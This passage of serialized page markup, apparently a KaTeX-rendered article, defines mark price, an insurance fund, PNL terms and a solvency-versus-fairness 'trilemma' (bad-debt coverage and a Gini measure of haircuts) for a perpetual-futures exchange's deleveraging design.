0741],{"type":23,"tag":481,"props":160742,"children":160743},{"style":158807},[160744,160748],{"type":23,"tag":481,"props":160745,"children":160747},{"className":160746,"style":1597},[1596],[],{"type":23,"tag":481,"props":160749,"children":160751},{"className":160750},[1602,1603,1604,1605],[160752],{"type":23,"tag":481,"props":160753,"children":160755},{"className":160754},[1555,19086,1605],[160756],{"type":28,"value":1274},{"type":23,"tag":481,"props":160758,"children":160760},{"className":160759},[19243],[160761],{"type":28,"value":19246},{"type":23,"tag":481,"props":160763,"children":160765},{"className":160764},[1582],[160766],{"type":23,"tag":481,"props":160767,"children":160769},{"className":160768,"style":90662},[1587],[160770],{"type":23,"tag":481,"props":160771,"children":160772},{},[],{"type":23,"tag":481,"props":160774,"children":160775},{"style":159188},[160776,160780],{"type":23,"tag":481,"props":160777,"children":160779},{"className":160778,"style":158479},[1596],[],{"type":23,"tag":481,"props":160781,"children":160783},{"className":160782},[1555],[160784,160788,160792,160797,160801,160806,160811,160868,160872,160877,160881,160886,160890,160895,160899,160956,160961,160965,160969,160974],{"type":23,"tag":481,"props":160785,"children":160787},{"className":160786},[1555],[],{"type":23,"tag":481,"props":160789,"children":160791},{"className":160790,"style":1734},[1636],[],{"type":23,"tag":481,"props":160793,"children":160795},{"className":160794},[1739],[160796],{"type":28,"value":603},{"type":23,"tag":481,"props":160798,"children":160800},{"className":160799,"style":1734},[1636],[],{"type":23,"tag":481,"props":160802,"children":160804},{"className":160803},[19122],[160805],{"type":28,"value":158193},{"type":23,"tag":481,"props":160807,"children":160809},{"className":160808},[19215],[160810],{"type":28,"value":618},{"type":23,"tag":481,"props":160812,"children":160814},{"className":160813},[1555],[160815,160820],{"type":23,"tag":481,"props":160816,"children":160818},{"className":160817,"style":90579},[1555,19086],[160819],{"type":28,"value":159066},{"type":23,"tag":481,"props":160821,"children":160823},{"className":160822},[1572],[160824],{"type":23,"tag":481,"props":160825,"children":160827},{"className":160826},[1577,19140],[160828,160857],{"type":23,"tag":481,"props":160829,"children":160831},{"className":160830},[1582],[160832,160852],{"type":23,"tag":481,"props":160833,"children":160835},{"className":160834,"style":140134},[1587],[160836],{"type":23,"tag":481,"props":160837,"children":160838},{"style":107578},[160839,160843],{"type":23,"tag":481,"props":160840,"children":160842},{"className":160841,"style":1597},[1596],[],{"type":23,"tag":481,"props":160844,"children":160846},{"className":160845},[1602,1603,1604,1605],[160847],{"type":23,"tag":481,"props":160848,"children":160850},{"className":160849,"style":19087},[1555,19086,1605],[160851],{"type":28,"value":3464},{"type":23,"tag":481,"props":160853,"children":160855},{"className":160854},[19243],[160856],{"type":28,"value":19246},{"type":23,"tag":481,"props":160858,"children":160860},{"className":160859},[1582],[160861],{"type":23,"tag":481,"props":160862,"children":160864},{"className":160863,"style":90662},[1587],[160865],{"type":23,"tag":481,"props":160866,"children":160867},{},[],{"type":23,"tag":481,"props":160869,"children":160871},{"className":160870,"style":1637},[1636],[],{"type":23,"tag":481,"props":160873,"children":160875},{"className":160874},[1642],[160876],{"type":28,"value":1616},{"type":23,"tag":481,"props":160878,"children":160880},{"className":160879,"style":1637},[1636],[],{"type":23,"tag":481,"props":160882,"children":160884},{"className":160883,"style":92599},[1555,19086],[160885],{"type":28,"value":92633},{"type":23,"tag":481,"props":160887,"children":160889},{"className":160888,"style":1637},[1636],[],{"type":23,"tag":481,"props":160891,"children":160893},{"className":160892},[1642],[160894],{"type":28,"value":1616},{"type":23,"tag":481,"props":160896,"children":160898},{"className":160897,"style":1637},[1636],[],{"type":23,"tag":481,"props":160900,"children":160902},{"className":160901},[1555],[160903,160908],{"type":23,"tag":481,"props":160904,"children":160906},{"className":160905,"style":90813},[1555,19086],[160907],{"type":28,"value":90816},{"type":23,"tag":481,"props":160909,"children":160911},{"className":160910},[1572],[160912],{"type":23,"tag":481,"props":160913,"children":160915},{"className":160914},[1577,19140],[160916,160945],{"type":23,"tag":481,"props":160917,"children":160919},{"className":160918},[1582],[160920,160940],{"type":23,"tag":481,"props":160921,"children":160923},{"className":160922,"style":140134},[1587],[160924],{"type":23,"tag":481,"props":160925,"children":160926},{"style":108008},[160927,160931],{"type":23,"tag":481,"props":160928,"children":160930},{"className":160929,"style":1597},[1596],[],{"type":23,"tag":481,"props":160932,"children":160934},{"className":160933},[1602,1603,1604,1605],[160935],{"type":23,"tag":481,"props":160936,"children":160938},{"className":160937,"style":19087},[1555,19086,1605],[160939],{"type":28,"value":3464},{"type":23,"tag":481,"props":160941,"children":160943},{"className":160942},[19243],[160944],{"type":28,"value":19246},{"type":23,"tag":481,"props":160946,"children":160948},{"className":160947},[1582],[160949],{"type":23,"tag":481,"props":160950,"children":160952},{"className":160951,"style":90662},[1587],[160953],{"type":23,"tag":481,"props":160954,"children":160955},{},[],{"type":23,"tag":481,"props":160957,"children":160959},{"className":160958},[1668],[160960],{"type":28,"value":1671},{"type":23,"tag":481,"props":160962,"children":160964},{"className":160963,"style":1675},[1636],[],{"type":23,"tag":481,"props":160966,"children":160968},{"className":160967,"style":1675},[1636],[],{"type":23,"tag":481,"props":160970,"children":160972},{"className":160971},[1555],[160973],{"type":28,"value":1568},{"type":23,"tag":481,"props":160975,"children":160977},{"className":160976},[19237],[160978],{"type":28,"value":642},{"type":23,"tag":481,"props":160980,"children":160982},{"className":160981},[19243],[160983],{"type":28,"value":19246},{"type":23,"tag":481,"props":160985,"children":160987},{"className":160986},[1582],[160988],{"type":23,"tag":481,"props":160989,"children":160991},{"className":160990,"style":159269},[1587],[160992],{"type":23,"tag":481,"props":160993,"children":160994},{},[],{"type":23,"tag":24,"props":160996,"children":160997},{},[160998,160999,161076,161078,161103,161105,161182,161184,161261],{"type":28,"value":618},{"type":23,"tag":64,"props":161000,"children":161002},{"className":161001},[1527,1528],[161003],{"type":23,"tag":481,"props":161004,"children":161006},{"className":161005},[1533],[161007],{"type":23,"tag":481,"props":161008,"children":161010},{"className":161009,"ariaHidden":1539},[1538],[161011],{"type":23,"tag":481,"props":161012,"children":161014},{"className":161013},[1544],[161015,161019],{"type":23,"tag":481,"props":161016,"children":161018},{"className":161017,"style":108576},[1549],[],{"type":23,"tag":481,"props":161020,"children":161022},{"className":161021},[1555],[161023,161028],{"type":23,"tag":481,"props":161024,"children":161026},{"className":161025,"style":19087},[1555,19086],[161027],{"type":28,"value":19090},{"type":23,"tag":481,"props":161029,"children":161031},{"className":161030},[1572],[161032],{"type":23,"tag":481,"props":161033,"children":161035},{"className":161034},[1577,19140],[161036,161065],{"type":23,"tag":481,"props":161037,"children":161039},{"className":161038},[1582],[161040,161060],{"type":23,"tag":481,"props":161041,"children":161043},{"className":161042,"style":107011},[1587],[161044],{"type":23,"tag":481,"props":161045,"children":161046},{"style":158512},[161047,161051],{"type":23,"tag":481,"props":161048,"children":161050},{"className":161049,"style":1597},[1596],[],{"type":23,"tag":481,"props":161052,"children":161054},{"className":161053},[1602,1603,1604,1605],[161055],{"type":23,"tag":481,"props":161056,"children":161058},{"className":161057},[1555,19086,1605],[161059],{"type":28,"value":53930},{"type":23,"tag":481,"props":161061,"children":161063},{"className":161062},[19243],[161064],{"type":28,"value":19246},{"type":23,"tag":481,"props":161066,"children":161068},{"className":161067},[1582],[161069],{"type":23,"tag":481,"props":161070,"children":161072},{"className":161071,"style":90662},[1587],[161073],{"type":23,"tag":481,"props":161074,"children":161075},{},[],{"type":28,"value":161077},": mark price from different sources; ",{"type":23,"tag":64,"props":161079,"children":161081},{"className":161080},[1527,1528],[161082],{"type":23,"tag":481,"props":161083,"children":161085},{"className":161084},[1533],[161086],{"type":23,"tag":481,"props":161087,"children":161089},{"className":161088,"ariaHidden":1539},[1538],[161090],{"type":23,"tag":481,"props":161091,"children":161093},{"className":161092},[1544],[161094,161098],{"type":23,"tag":481,"props":161095,"children":161097},{"className":161096,"style":19081},[1549],[],{"type":23,"tag":481,"props":161099,"children":161101},{"className":161100,"style":92599},[1555,19086],[161102],{"type":28,"value":92633},{"type":28,"value":161104},": insurance fund, roughly the 5M on testnet HL; ",{"type":23,"tag":64,"props":161106,"children":161108},{"className":161107},[1527,1528],[161109],{"type":23,"tag":481,"props":161110,"children":161112},{"className":161111},[1533],[161113],{"type":23,"tag":481,"props":161114,"children":161116},{"className":161115,"ariaHidden":1539},[1538],[161117],{"type":23,"tag":481,"props":161118,"children":161120},{"className":161119},[1544],[161121,161125],{"type":23,"tag":481,"props":161122,"children":161124},{"className":161123,"style":107549},[1549],[],{"type":23,"tag":481,"props":161126,"children":161128},{"className":161127},[1555],[161129,161134],{"type":23,"tag":481,"props":161130,"children":161132},{"className":161131,"style":91065},[1555,19086],[161133],{"type":28,"value":158650},{"type":23,"tag":481,"props":161135,"children":161137},{"className":161136},[1572],[161138],{"type":23,"tag":481,"props":161139,"children":161141},{"className":161140},[1577,19140],[161142,161171],{"type":23,"tag":481,"props":161143,"children":161145},{"className":161144},[1582],[161146,161166],{"type":23,"tag":481,"props":161147,"children":161149},{"className":161148,"style":91108},[1587],[161150],{"type":23,"tag":481,"props":161151,"children":161152},{"style":91112},[161153,161157],{"type":23,"tag":481,"props":161154,"children":161156},{"className":161155,"style":1597},[1596],[],{"type":23,"tag":481,"props":161158,"children":161160},{"className":161159},[1602,1603,1604,1605],[161161],{"type":23,"tag":481,"props":161162,"children":161164},{"className":161163},[1555,19086,1605],[161165],{"type":28,"value":1274},{"type":23,"tag":481,"props":161167,"children":161169},{"className":161168},[19243],[161170],{"type":28,"value":19246},{"type":23,"tag":481,"props":161172,"children":161174},{"className":161173},[1582],[161175],{"type":23,"tag":481,"props":161176,"children":161178},{"className":161177,"style":90662},[1587],[161179],{"type":23,"tag":481,"props":161180,"children":161181},{},[],{"type":28,"value":161183}," is PNL for longs, negated for shorts; ",{"type":23,"tag":64,"props":161185,"children":161187},{"className":161186},[1527,1528],[161188],{"type":23,"tag":481,"props":161189,"children":161191},{"className":161190},[1533],[161192],{"type":23,"tag":481,"props":161193,"children":161195},{"className":161194,"ariaHidden":1539},[1538],[161196],{"type":23,"tag":481,"props":161197,"children":161199},{"className":161198},[1544],[161200,161204],{"type":23,"tag":481,"props":161201,"children":161203},{"className":161202,"style":107549},[1549],[],{"type":23,"tag":481,"props":161205,"children":161207},{"className":161206},[1555],[161208,161213],{"type":23,"tag":481,"props":161209,"children":161211},{"className":161210,"style":119859},[1555,19086],[161212],{"type":28,"value":47097},{"type":23,"tag":481,"props":161214,"children":161216},{"className":161215},[1572],[161217],{"type":23,"tag":481,"props":161218,"children":161220},{"className":161219},[1577,19140],[161221,161250],{"type":23,"tag":481,"props":161222,"children":161224},{"className":161223},[1582],[161225,161245],{"type":23,"tag":481,"props":161226,"children":161228},{"className":161227,"style":91108},[1587],[161229],{"type":23,"tag":481,"props":161230,"children":161231},{"style":158807},[161232,161236],{"type":23,"tag":481,"props":161233,"children":161235},{"className":161234,"style":1597},[1596],[],{"type":23,"tag":481,"props":161237,"children":161239},{"className":161238},[1602,1603,1604,1605],[161240],{"type":23,"tag":481,"props":161241,"children":161243},{"className":161242},[1555,19086,1605],[161244],{"type":28,"value":1274},{"type":23,"tag":481,"props":161246,"children":161248},{"className":161247},[19243],[161249],{"type":28,"value":19246},{"type":23,"tag":481,"props":161251,"children":161253},{"className":161252},[1582],[161254],{"type":23,"tag":481,"props":161255,"children":161257},{"className":161256,"style":90662},[1587],[161258],{"type":23,"tag":481,"props":161259,"children":161260},{},[],{"type":28,"value":161262}," is the positive part of PNL.)",{"type":23,"tag":24,"props":161264,"children":161265},{},[161266],{"type":28,"value":161267},"And let's make the trilemma definitions concrete:",{"type":23,"tag":14178,"props":161269,"children":161270},{},[161271,161745,162309],{"type":23,"tag":77,"props":161272,"children":161273},{},[161274,161278,161279,161533,161535,161586,161588,161691,161692,161743],{"type":23,"tag":127,"props":161275,"children":161276},{},[161277],{"type":28,"value":158391},{"type":28,"value":30427},{"type":23,"tag":64,"props":161280,"children":161282},{"className":161281},[1527,1528],[161283],{"type":23,"tag":481,"props":161284,"children":161286},{"className":161285},[1533],[161287],{"type":23,"tag":481,"props":161288,"children":161290},{"className":161289,"ariaHidden":1539},[1538],[161291,161318],{"type":23,"tag":481,"props":161292,"children":161294},{"className":161293},[1544],[161295,161300,161305,161309,161314],{"type":23,"tag":481,"props":161296,"children":161299},{"className":161297,"style":161298},[1549],"height:0.7278em;vertical-align:-0.0833em;",[],{"type":23,"tag":481,"props":161301,"children":161303},{"className":161302},[1555],[161304],{"type":28,"value":1558},{"type":23,"tag":481,"props":161306,"children":161308},{"className":161307,"style":1637},[1636],[],{"type":23,"tag":481,"props":161310,"children":161312},{"className":161311},[1642],[161313],{"type":28,"value":1616},{"type":23,"tag":481,"props":161315,"children":161317},{"className":161316,"style":1637},[1636],[],{"type":23,"tag":481,"props":161319,"children":161321},{"className":161320},[1544],[161322,161327],{"type":23,"tag":481,"props":161323,"children":161326},{"className":161324,"style":161325},[1549],"height:1.3337em;vertical-align:-0.4453em;",[],{"type":23,"tag":481,"props":161328,"children":161330},{"className":161329},[1555],[161331,161335,161529],{"type":23,"tag":481,"props":161332,"children":161334},{"className":161333},[19215,111097],[],{"type":23,"tag":481,"props":161336,"children":161338},{"className":161337},[111102],[161339],{"type":23,"tag":481,"props":161340,"children":161342},{"className":161341},[1577,19140],[161343,161517],{"type":23,"tag":481,"props":161344,"children":161346},{"className":161345},[1582],[161347,161512],{"type":23,"tag":481,"props":161348,"children":161351},{"className":161349,"style":161350},[1587],"height:0.8884em;",[161352,161426,161437],{"type":23,"tag":481,"props":161353,"children":161354},{"style":111119},[161355,161359],{"type":23,"tag":481,"props":161356,"children":161358},{"className":161357,"style":109750},[1596],[],{"type":23,"tag":481,"props":161360,"children":161362},{"className":161361},[1602,1603,1604,1605],[161363],{"type":23,"tag":481,"props":161364,"children":161366},{"className":161365},[1555,1605],[161367],{"type":23,"tag":481,"props":161368,"children":161370},{"className":161369},[1555,1605],[161371,161376],{"type":23,"tag":481,"props":161372,"children":161374},{"className":161373,"style":90579},[1555,19086,1605],[161375],{"type":28,"value":159066},{"type":23,"tag":481,"props":161377,"children":161379},{"className":161378},[1572],[161380],{"type":23,"tag":481,"props":161381,"children":161383},{"className":161382},[1577,19140],[161384,161414],{"type":23,"tag":481,"props":161385,"children":161387},{"className":161386},[1582],[161388,161409],{"type":23,"tag":481,"props":161389,"children":161391},{"className":161390,"style":109911},[1587],[161392],{"type":23,"tag":481,"props":161393,"children":161395},{"style":161394},"top:-2.3567em;margin-left:-0.0278em;margin-right:0.0714em;",[161396,161400],{"type":23,"tag":481,"props":161397,"children":161399},{"className":161398,"style":106439},[1596],[],{"type":23,"tag":481,"props":161401,"children":161403},{"className":161402},[1602,106444,106445,1605],[161404],{"type":23,"tag":481,"props":161405,"children":161407},{"className":161406,"style":19087},[1555,19086,1605],[161408],{"type":28,"value":3464},{"type":23,"tag":481,"props":161410,"children":161412},{"className":161411},[19243],[161413],{"type":28,"value":19246},{"type":23,"tag":481,"props":161415,"children":161417},{"className":161416},[1582],[161418],{"type":23,"tag":481,"props":161419,"children":161422},{"className":161420,"style":161421},[1587],"height:0.1433em;",[161423],{"type":23,"tag":481,"props":161424,"children":161425},{},[],{"type":23,"tag":481,"props":161427,"children":161428},{"style":111152},[161429,161433],{"type":23,"tag":481,"props":161430,"children":161432},{"className":161431,"style":109750},[1596],[],{"type":23,"tag":481,"props":161434,"children":161436},{"className":161435,"style":111162},[111161],[],{"type":23,"tag":481,"props":161438,"children":161440},{"style":161439},"top:-3.4101em;",[161441,161445],{"type":23,"tag":481,"props":161442,"children":161444},{"className":161443,"style":109750},[1596],[],{"type":23,"tag":481,"props":161446,"children":161448},{"className":161447},[1602,1603,1604,1605],[161449],{"type":23,"tag":481,"props":161450,"children":161452},{"className":161451},[1555,1605],[161453],{"type":23,"tag":481,"props":161454,"children":161456},{"className":161455},[1555,1605],[161457,161462],{"type":23,"tag":481,"props":161458,"children":161460},{"className":161459,"style":120356},[1555,19086,1605],[161461],{"type":28,"value":120359},{"type":23,"tag":481,"props":161463,"children":161465},{"className":161464},[1572],[161466],{"type":23,"tag":481,"props":161467,"children":161469},{"className":161468},[1577,19140],[161470,161501],{"type":23,"tag":481,"props":161471,"children":161473},{"className":161472},[1582],[161474,161496],{"type":23,"tag":481,"props":161475,"children":161478},{"className":161476,"style":161477},[1587],"height:0.2963em;",[161479],{"type":23,"tag":481,"props":161480,"children":161482},{"style":161481},"top:-2.357em;margin-left:-0.0077em;margin-right:0.0714em;",[161483,161487],{"type":23,"tag":481,"props":161484,"children":161486},{"className":161485,"style":106439},[1596],[],{"type":23,"tag":481,"props":161488,"children":161490},{"className":161489},[1602,106444,106445,1605],[161491],{"type":23,"tag":481,"props":161492,"children":161494},{"className":161493},[1555,19086,1605],[161495],{"type":28,"value":19228},{"type":23,"tag":481,"props":161497,"children":161499},{"className":161498},[19243],[161500],{"type":28,"value":19246},{"type":23,"tag":481,"props":161502,"children":161504},{"className":161503},[1582],[161505],{"type":23,"tag":481,"props":161506,"children":161508},{"className":161507,"style":106464},[1587],[161509],{"type":23,"tag":481,"props":161510,"children":161511},{},[],{"type":23,"tag":481,"props":161513,"children":161515},{"className":161514},[19243],[161516],{"type":28,"value":19246},{"type":23,"tag":481,"props":161518,"children":161520},{"className":161519},[1582],[161521],{"type":23,"tag":481,"props":161522,"children":161525},{"className":161523,"style":161524},[1587],"height:0.4453em;",[161526],{"type":23,"tag":481,"props":161527,"children":161528},{},[],{"type":23,"tag":481,"props":161530,"children":161532},{"className":161531},[19237,111097],[],{"type":28,"value":161534}," — how much of the total bad debt was actually covered. ",{"type":23,"tag":64,"props":161536,"children":161538},{"className":161537},[1527,1528],[161539],{"type":23,"tag":481,"props":161540,"children":161542},{"className":161541},[1533],[161543],{"type":23,"tag":481,"props":161544,"children":161546},{"className":161545,"ariaHidden":1539},[1538],[161547,161573],{"type":23,"tag":481,"props":161548,"children":161550},{"className":161549},[1544],[161551,161555,161560,161564,161569],{"type":23,"tag":481,"props":161552,"children":161554},{"className":161553,"style":19081},[1549],[],{"type":23,"tag":481,"props":161556,"children":161558},{"className":161557,"style":19545},[1555,19086],[161559],{"type":28,"value":19548},{"type":23,"tag":481,"props":161561,"children":161563},{"className":161562,"style":1734},[1636],[],{"type":23,"tag":481,"props":161565,"children":161567},{"className":161566},[1739],[161568],{"type":28,"value":603},{"type":23,"tag":481,"props":161570,"children":161572},{"className":161571,"style":1734},[1636],[],{"type":23,"tag":481,"props":161574,"children":161576},{"className":161575},[1544],[161577,161581],{"type":23,"tag":481,"props":161578,"children":161580},{"className":161579,"style":91610},[1549],[],{"type":23,"tag":481,"props":161582,"children":161584},{"className":161583},[1555],[161585],{"type":28,"value":1558},{"type":28,"value":161587}," means fully solvent (",{"type":23,"tag":64,"props":161589,"children":161591},{"className":161590},[1527,1528],[161592],{"type":23,"tag":481,"props":161593,"children":161595},{"className":161594},[1533],[161596],{"type":23,"tag":481,"props":161597,"children":161599},{"className":161598,"ariaHidden":1539},[1538],[161600,161678],{"type":23,"tag":481,"props":161601,"children":161603},{"className":161602},[1544],[161604,161608,161665,161669,161674],{"type":23,"tag":481,"props":161605,"children":161607},{"className":161606,"style":108576},[1549],[],{"type":23,"tag":481,"props":161609,"children":161611},{"className":161610},[1555],[161612,161617],{"type":23,"tag":481,"props":161613,"children":161615},{"className":161614,"style":120356},[1555,19086],[161616],{"type":28,"value":120359},{"type":23,"tag":481,"props":161618,"children":161620},{"className":161619},[1572],[161621],{"type":23,"tag":481,"props":161622,"children":161624},{"className":161623},[1577,19140],[161625,161654],{"type":23,"tag":481,"props":161626,"children":161628},{"className":161627},[1582],[161629,161649],{"type":23,"tag":481,"props":161630,"children":161632},{"className":161631,"style":159222},[1587],[161633],{"type":23,"tag":481,"props":161634,"children":161635},{"style":159226},[161636,161640],{"type":23,"tag":481,"props":161637,"children":161639},{"className":161638,"style":1597},[1596],[],{"type":23,"tag":481,"props":161641,"children":161643},{"className":161642},[1602,1603,1604,1605],[161644],{"type":23,"tag":481,"props":161645,"children":161647},{"className":161646},[1555,19086,1605],[161648],{"type":28,"value":19228},{"type":23,"tag":481,"props":161650,"children":161652},{"className":161651},[19243],[161653],{"type":28,"value":19246},{"type":23,"tag":481,"props":161655,"children":161657},{"className":161656},[1582],[161658],{"type":23,"tag":481,"props":161659,"children":161661},{"className":161660,"style":90662},[1587],[161662],{"type":23,"tag":481,"props":161663,"children":161664},{},[],{"type":23,"tag":481,"props":161666,"children":161668},{"className":161667,"style":1734},[1636],[],{"type":23,"tag":481,"props":161670,"children":161672},{"className":161671},[1739],[161673],{"type":28,"value":603},{"type":23,"tag":481,"props":161675,"children":161677},{"className":161676,"style":1734},[1636],[],{"type":23,"tag":481,"props":161679,"children":161681},{"className":161680},[1544],[161682,161686],{"type":23,"tag":481,"props":161683,"children":161685},{"className":161684,"style":91610},[1549],[],{"type":23,"tag":481,"props":161687,"children":161689},{"className":161688},[1555],[161690],{"type":28,"value":1568},{"type":28,"value":12666},{"type":23,"tag":64,"props":161693,"children":161695},{"className":161694},[1527,1528],[161696],{"type":23,"tag":481,"props":161697,"children":161699},{"className":161698},[1533],[161700],{"type":23,"tag":481,"props":161701,"children":161703},{"className":161702,"ariaHidden":1539},[1538],[161704,161730],{"type":23,"tag":481,"props":161705,"children":161707},{"className":161706},[1544],[161708,161712,161717,161721,161726],{"type":23,"tag":481,"props":161709,"children":161711},{"className":161710,"style":19081},[1549],[],{"type":23,"tag":481,"props":161713,"children":161715},{"className":161714,"style":19545},[1555,19086],[161716],{"type":28,"value":19548},{"type":23,"tag":481,"props":161718,"children":161720},{"className":161719,"style":1734},[1636],[],{"type":23,"tag":481,"props":161722,"children":161724},{"className":161723},[1739],[161725],{"type":28,"value":603},{"type":23,"tag":481,"props":161727,"children":161729},{"className":161728,"style":1734},[1636],[],{"type":23,"tag":481,"props":161731,"children":161733},{"className":161732},[1544],[161734,161738],{"type":23,"tag":481,"props":161735,"children":161737},{"className":161736,"style":91610},[1549],[],{"type":23,"tag":481,"props":161739,"children":161741},{"className":161740},[1555],[161742],{"type":28,"value":1568},{"type":28,"value":161744}," means nothing was recovered.",{"type":23,"tag":77,"props":161746,"children":161747},{},[161748,161752,161753,161876,161877,162094,162096,162200,162202,162253,162255,162307],{"type":23,"tag":127,"props":161749,"children":161750},{},[161751],{"type":28,"value":158401},{"type":28,"value":30427},{"type":23,"tag":64,"props":161754,"children":161756},{"className":161755},[1527,1528],[161757],{"type":23,"tag":481,"props":161758,"children":161760},{"className":161759},[1533],[161761],{"type":23,"tag":481,"props":161762,"children":161764},{"className":161763,"ariaHidden":1539},[1538],[161765,161791],{"type":23,"tag":481,"props":161766,"children":161768},{"className":161767},[1544],[161769,161773,161778,161782,161787],{"type":23,"tag":481,"props":161770,"children":161772},{"className":161771,"style":161298},[1549],[],{"type":23,"tag":481,"props":161774,"children":161776},{"className":161775},[1555],[161777],{"type":28,"value":1558},{"type":23,"tag":481,"props":161779,"children":161781},{"className":161780,"style":1637},[1636],[],{"type":23,"tag":481,"props":161783,"children":161785},{"className":161784},[1642],[161786],{"type":28,"value":1616},{"type":23,"tag":481,"props":161788,"children":161790},{"className":161789,"style":1637},[1636],[],{"type":23,"tag":481,"props":161792,"children":161794},{"className":161793},[1544],[161795,161799,161809,161814,161871],{"type":23,"tag":481,"props":161796,"children":161798},{"className":161797,"style":1657},[1549],[],{"type":23,"tag":481,"props":161800,"children":161802},{"className":161801},[1555,28],[161803],{"type":23,"tag":481,"props":161804,"children":161806},{"className":161805},[1555],[161807],{"type":28,"value":161808},"Gini",{"type":23,"tag":481,"props":161810,"children":161812},{"className":161811},[19215],[161813],{"type":28,"value":618},{"type":23,"tag":481,"props":161815,"children":161817},{"className":161816},[1555],[161818,161823],{"type":23,"tag":481,"props":161819,"children":161821},{"className":161820},[1555,19086],[161822],{"type":28,"value":81877},{"type":23,"tag":481,"props":161824,"children":161826},{"className":161825},[1572],[161827],{"type":23,"tag":481,"props":161828,"children":161830},{"className":161829},[1577,19140],[161831,161860],{"type":23,"tag":481,"props":161832,"children":161834},{"className":161833},[1582],[161835,161855],{"type":23,"tag":481,"props":161836,"children":161838},{"className":161837,"style":91108},[1587],[161839],{"type":23,"tag":481,"props":161840,"children":161841},{"style":90635},[161842,161846],{"type":23,"tag":481,"props":161843,"children":161845},{"className":161844,"style":1597},[1596],[],{"type":23,"tag":481,"props":161847,"children":161849},{"className":161848},[1602,1603,1604,1605],[161850],{"type":23,"tag":481,"props":161851,"children":161853},{"className":161852},[1555,19086,1605],[161854],{"type":28,"value":1274},{"type":23,"tag":481,"props":161856,"children":161858},{"className":161857},[19243],[161859],{"type":28,"value":19246},{"type":23,"tag":481,"props":161861,"children":161863},{"className":161862},[1582],[161864],{"type":23,"tag":481,"props":161865,"children":161867},{"className":161866,"style":90662},[1587],[161868],{"type":23,"tag":481,"props":161869,"children":161870},{},[],{"type":23,"tag":481,"props":161872,"children":161874},{"className":161873},[19237],[161875],{"type":28,"value":642},{"type":28,"value":4800},{"type":23,"tag":64,"props":161878,"children":161880},{"className":161879},[1527,1528],[161881],{"type":23,"tag":481,"props":161882,"children":161884},{"className":161883},[1533],[161885],{"type":23,"tag":481,"props":161886,"children":161888},{"className":161887,"ariaHidden":1539},[1538],[161889,161967],{"type":23,"tag":481,"props":161890,"children":161892},{"className":161891},[1544],[161893,161897,161954,161958,161963],{"type":23,"tag":481,"props":161894,"children":161896},{"className":161895,"style":139858},[1549],[],{"type":23,"tag":481,"props":161898,"children":161900},{"className":161899},[1555],[161901,161906],{"type":23,"tag":481,"props":161902,"children":161904},{"className":161903},[1555,19086],[161905],{"type":28,"value":81877},{"type":23,"tag":481,"props":161907,"children":161909},{"className":161908},[1572],[161910],{"type":23,"tag":481,"props":161911,"children":161913},{"className":161912},[1577,19140],[161914,161943],{"type":23,"tag":481,"props":161915,"children":161917},{"className":161916},[1582],[161918,161938],{"type":23,"tag":481,"props":161919,"children":161921},{"className":161920,"style":91108},[1587],[161922],{"type":23,"tag":481,"props":161923,"children":161924},{"style":90635},[161925,161929],{"type":23,"tag":481,"props":161926,"children":161928},{"className":161927,"style":1597},[1596],[],{"type":23,"tag":481,"props":161930,"children":161932},{"className":161931},[1602,1603,1604,1605],[161933],{"type":23,"tag":481,"props":161934,"children":161936},{"className":161935},[1555,19086,1605],[161937],{"type":28,"value":1274},{"type":23,"tag":481,"props":161939,"children":161941},{"className":161940},[19243],[161942],{"type":28,"value":19246},{"type":23,"tag":481,"props":161944,"children":161946},{"className":161945},[1582],[161947],{"type":23,"tag":481,"props":161948,"children":161950},{"className":161949,"style":90662},[1587],[161951],{"type":23,"tag":481,"props":161952,"children":161953},{},[],{"type":23,"tag":481,"props":161955,"children":161957},{"className":161956,"style":1734},[1636],[],{"type":23,"tag":481,"props":161959,"children":161961},{"className":161960},[1739],[161962],{"type":28,"value":603},{"type":23,"tag":481,"props":161964,"children":161966},{"className":161965,"style":1734},[1636],[],{"type":23,"tag":481,"props":161968,"children":161970},{"className":161969},[1544],[161971,161975,162032,162037],{"type":23,"tag":481,"props":161972,"children":161974},{"className":161973,"style":1657},[1549],[],{"type":23,"tag":481,"props":161976,"children":161978},{"className":161977},[1555],[161979,161984],{"type":23,"tag":481,"props":161980,"children":161982},{"className":161981},[1555,19086],[161983],{"type":28,"value":16772},{"type":23,"tag":481,"props":161985,"children":161987},{"className":161986},[1572],[161988],{"type":23,"tag":481,"props":161989,"children":161991},{"className":161990},[1577,19140],[161992,162021],{"type":23,"tag":481,"props":161993,"children":161995},{"className":161994},[1582],[161996,162016],{"type":23,"tag":481,"props":161997,"children":161999},{"className":161998,"style":91108},[1587],[162000],{"type":23,"tag":481,"props":162001,"children":162002},{"style":90635},[162003,162007],{"type":23,"tag":481,"props":162004,"children":162006},{"className":162005,"style":1597},[1596],[],{"type":23,"tag":481,"props":162008,"children":162010},{"className":162009},[1602,1603,1604,1605],[162011],{"type":23,"tag":481,"props":162012,"children":162014},{"className":162013},[1555,19086,1605],[162015],{"type":28,"value":1274},{"type":23,"tag":481,"props":162017,"children":162019},{"className":162018},[19243],[162020],{"type":28,"value":19246},{"type":23,"tag":481,"props":162022,"children":162024},{"className":162023},[1582],[162025],{"type":23,"tag":481,"props":162026,"children":162028},{"className":162027,"style":90662},[1587],[162029],{"type":23,"tag":481,"props":162030,"children":162031},{},[],{"type":23,"tag":481,"props":162033,"children":162035},{"className":162034},[1555],[162036],{"type":28,"value":2130},{"type":23,"tag":481,"props":162038,"children":162040},{"className":162039},[1555],[162041,162046],{"type":23,"tag":481,"props":162042,"children":162044},{"className":162043,"style":119859},[1555,19086],[162045],{"type":28,"value":47097},{"type":23,"tag":481,"props":162047,"children":162049},{"className":162048},[1572],[162050],{"type":23,"tag":481,"props":162051,"children":162053},{"className":162052},[1577,19140],[162054,162083],{"type":23,"tag":481,"props":162055,"children":162057},{"className":162056},[1582],[162058,162078],{"type":23,"tag":481,"props":162059,"children":162061},{"className":162060,"style":91108},[1587],[162062],{"type":23,"tag":481,"props":162063,"children":162064},{"style":158807},[162065,162069],{"type":23,"tag":481,"props":162066,"children":162068},{"className":162067,"style":1597},[1596],[],{"type":23,"tag":481,"props":162070,"children":162072},{"className":162071},[1602,1603,1604,1605],[162073],{"type":23,"tag":481,"props":162074,"children":162076},{"className":162075},[1555,19086,1605],[162077],{"type":28,"value":1274},{"type":23,"tag":481,"props":162079,"children":162081},{"className":162080},[19243],[162082],{"type":28,"value":19246},{"type":23,"tag":481,"props":162084,"children":162086},{"className":162085},[1582],[162087],{"type":23,"tag":481,"props":162088,"children":162090},{"className":162089,"style":90662},[1587],[162091],{"type":23,"tag":481,"props":162092,"children":162093},{},[],{"type":28,"value":162095}," for each winner with 